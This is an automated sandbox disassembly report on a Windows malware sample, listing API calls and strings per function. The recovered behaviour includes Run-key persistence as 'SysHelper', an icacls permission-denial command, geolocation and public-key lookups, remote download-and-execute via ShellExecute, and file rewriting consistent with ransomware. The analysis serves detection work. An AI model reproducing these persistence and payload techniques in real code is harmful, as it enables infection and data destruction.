UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

icacls ", xrefs: 0041214C
SHGetFolderPathW, xrefs: 00411E9F
" --AutoStart, xrefs: 00411DD1
Shell32.dll, xrefs: 00411E94
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
" --AutoStart, xrefs: 004120C2
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
SysHelper, xrefs: 00411D5B, 004120EB
D, xrefs: 00412128

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: 80be18927991cccf42db4078ae95df5a441fd4a6ffe4119cd65a819aa2fb8675
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: 80be18927991cccf42db4078ae95df5a441fd4a6ffe4119cd65a819aa2fb8675
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004111C0 Relevance: 65.3, APIs: 36, Strings: 1, Instructions: 551
filestringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 0041120F
GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00411228
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041123D
MoveFileW.KERNEL32(00000000,?), ref: 00411277
VirtualAlloc.KERNEL32(00000000,00025815,00001000,00000004,?,00000000,?), ref: 004112B1
_memset.LIBCMT ref: 004112C8
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 00411301
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00411314
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041131B
ReadFile.KERNEL32(00000000,00000000,00000026,?,00000000,?,00000000,?), ref: 00411349
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,?,00000000,?), ref: 00411381
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 00411388
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?), ref: 004113E6
ReadFile.KERNEL32(00000000,00000000,00025805,?,00000000,?,00000000,?), ref: 00411409
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00411417
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041141E
lstrlenA.KERNEL32(?,?,00000000,?), ref: 00411471
lstrlenA.KERNEL32(?,?,?,00000000,?), ref: 00411491
lstrlenA.KERNEL32(?,00000000,?,?,?,?,?,00000000,?), ref: 004114CF
SetFilePointer.KERNEL32(00000000,00000005,00000000,00000000,00000005,00000000,-000000FB,-000000FB,00000000,00000000,000000FF,00000000,00000000,00000000), ref: 0041159D
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 004115D0
WriteFile.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 004115F8
WriteFile.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00411649
lstrlenA.KERNEL32({36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041166B
WriteFile.KERNEL32(00000000,{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411678
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 0041168D
MoveFileW.KERNEL32(?,?), ref: 004116D6
VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004116EB

Strings

{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}, xrefs: 00411364, 00411666, 00411672

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: File$CloseHandleVirtual$FreePointerlstrlen$Write$MoveRead$AllocCreateSize_memset
String ID: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
API String ID: 254274740-1186676987
Opcode ID: 05f3df143ae4f2883d5b43d3f274d8be2ec620da4cf1e03d1b19366c5557bb71
Instruction ID: 4b60432aefe4dd0e03df0e566fa74873db0e7dc4ed90acce11ed2be1fb3b5442
Opcode Fuzzy Hash: 05f3df143ae4f2883d5b43d3f274d8be2ec620da4cf1e03d1b19366c5557bb71
Instruction Fuzzy Hash: E7229F70E00209EBDB10EBA5DC85FEEB7B8EF05304F10416AE519B7291DB785A85CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0041DBD0 Relevance: 49.6, APIs: 23, Strings: 5, Instructions: 565
networkfilelibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040ECB0: _strtok.LIBCMT ref: 0040ED66

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0041DCF5
GetProcAddress.KERNEL32(00000000,SHGetFolderPathA), ref: 0041DD01

Part of subcall function 00413C40: _memset.LIBCMT ref: 00413C83

UuidCreate.RPCRT4(?), ref: 0041DD3C
UuidToStringA.RPCRT4(?,?), ref: 0041DD57
RpcStringFreeA.RPCRT4(00000000), ref: 0041DDB4
PathAppendA.SHLWAPI(?,00000000), ref: 0041DDD3
CreateDirectoryA.KERNEL32(?,00000000), ref: 0041DDDC
_memset.LIBCMT ref: 0041DEE7
InternetOpenA.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0041DEFC

Part of subcall function 00412900: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000010,-000003FF,-000003FF), ref: 00412966

_wcsstr.LIBCMT ref: 0041DF50
InternetOpenUrlA.WININET(00000000,00000000), ref: 0041E07B

Part of subcall function 0040DD40: _wcsstr.LIBCMT ref: 0040DD8D
Part of subcall function 0040DD40: _wcsstr.LIBCMT ref: 0040DDB6
Part of subcall function 0040DD40: _memset.LIBCMT ref: 0040DDE4
Part of subcall function 0040DD40: lstrlenW.KERNEL32(?), ref: 0040DE0A
Part of subcall function 0040DD40: gethostbyname.WS2_32(00500134), ref: 0040DEA7

_memmove.LIBCMT ref: 0041DFDD
HttpQueryInfoW.WININET(00000000,20000013,?,00000000,00000000), ref: 0041E10D
lstrcpyA.KERNEL32(?,?), ref: 0041E229
PathAppendA.SHLWAPI(?,?), ref: 0041E23F
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000,?,?), ref: 0041E288
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041E2A0
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0041E2C7
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0041E2FB
CloseHandle.KERNEL32(00000000), ref: 0041E317
InternetCloseHandle.WININET(00000000), ref: 0041E324
InternetCloseHandle.WININET(?), ref: 0041E32A
ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 0041E34D

Strings

.bit/, xrefs: 0041DF45
SHGetFolderPathA, xrefs: 0041DCFB
Shell32.dll, xrefs: 0041DCF0
$run, xrefs: 0041DEAB
Microsoft Internet Explorer, xrefs: 0041DEF7

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Internet$File$CloseCreateHandle_memset_wcsstr$AppendOpenPathStringUuid$AddressByteCharDirectoryExecuteFreeHttpInfoLibraryLoadMultiPointerProcQueryReadShellWideWrite_memmove_strtokgethostbynamelstrcpylstrlen
String ID: $run$.bit/$Microsoft Internet Explorer$SHGetFolderPathA$Shell32.dll
API String ID: 1843630811-800396732
Opcode ID: c245b9b944b234c744af93f112c556a3584d19d68359629c677131be42b27e04
Instruction ID: dcf8a581e05b5da13000ef7a953c2c15a8b95d2250363c4482f8ef8be3b44f4c
Opcode Fuzzy Hash: c245b9b944b234c744af93f112c556a3584d19d68359629c677131be42b27e04
Instruction Fuzzy Hash: BF32C070108380EFE730DF25C845B9BBBE4AF85308F10491EF99957291D7BA9589CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

EnumProcesses, xrefs: 00412264, 00412299
EnumProcessModules, xrefs: 0041226C, 004122A1
Psapi.dll, xrefs: 0041228C
GetModuleBaseNameW, xrefs: 00412277, 004122AC
kernel32.dll, xrefs: 0041224E

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2a8a9dd9818d9c7303d75e32746d1d8df15d61a28851d0a93ed3ef8fb498139a
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2a8a9dd9818d9c7303d75e32746d1d8df15d61a28851d0a93ed3ef8fb498139a
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041F130 Relevance: 21.7, APIs: 11, Strings: 1, Instructions: 689sleeptimewindowCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0041F15E
Sleep.KERNEL32(?), ref: 0041F185
Sleep.KERNEL32(?), ref: 0041F19D
SendMessageW.USER32(?,00008003,00000000,00000000), ref: 0041F9D0

Part of subcall function 00410A50: GetLogicalDrives.KERNEL32 ref: 00410A75
Part of subcall function 00410A50: SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
Part of subcall function 00410A50: PathFileExistsA.SHLWAPI(?), ref: 00410AF9
Part of subcall function 00410A50: SetErrorMode.KERNEL32(00000000), ref: 00410B02
Part of subcall function 00410A50: GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Strings

C:\, xrefs: 0041F1FC, 0041F267, 0041F709, 0041F72E, 0041F736

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: ErrorModeSleep$DriveDrivesExistsFileLogicalMessagePathSendTimeTypetime
String ID: C:\
API String ID: 3672571082-3404278061
Opcode ID: 6c6215f597970494e298be283d86b75c7c2a5f508ffca57605359803048751c0
Instruction ID: 5c6d64671d491e840e8d62e2c9f1d443296aa8abdfe0033865403ad230f1735f
Opcode Fuzzy Hash: 6c6215f597970494e298be283d86b75c7c2a5f508ffca57605359803048751c0
Instruction Fuzzy Hash: C842B171E003059BDF24DFA8C885BDEB7B1BF44308F14452EE805AB381D779A98ACB95

Uniqueness

Uniqueness Score: -1.00%

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: f59e29133725df182416b9b2f7e88d2aef87c727fbb6ba63f9701c2509f4dbdf
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: f59e29133725df182416b9b2f7e88d2aef87c727fbb6ba63f9701c2509f4dbdf
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

https://api.2ip.ua/geo.json, xrefs: 0040CF79
Microsoft Internet Explorer, xrefs: 0040CF5A
"country_code":", xrefs: 0040CFE1

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: 0805b9f8892e75a0c503b3632afaad7c8239eac82df1340367160222ea91e53d
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: 0805b9f8892e75a0c503b3632afaad7c8239eac82df1340367160222ea91e53d
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00423576 Relevance: 15.3, APIs: 10, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
String ID:
API String ID: 1503770280-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Uniqueness

Uniqueness Score: -1.00%

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: cb2f869ed953b6469532c7b5f3013c5d7dbb39fa8f1a48da1e057f015d38777e
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: cb2f869ed953b6469532c7b5f3013c5d7dbb39fa8f1a48da1e057f015d38777e
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll,75AF4E90), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

\, xrefs: 0040F548
SHGetFolderPathW, xrefs: 0040F34D
Shell32.dll, xrefs: 0040F32C

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: b7a25bb7fb9543e258ddabd47f6d76af18241296cdd8ce7e2f0390cd5c73f1c1
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: b7a25bb7fb9543e258ddabd47f6d76af18241296cdd8ce7e2f0390cd5c73f1c1
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,0041E6D4), ref: 0040C6C2
RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8
SysHelper, xrefs: 0040C6EB, 0040C71D

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
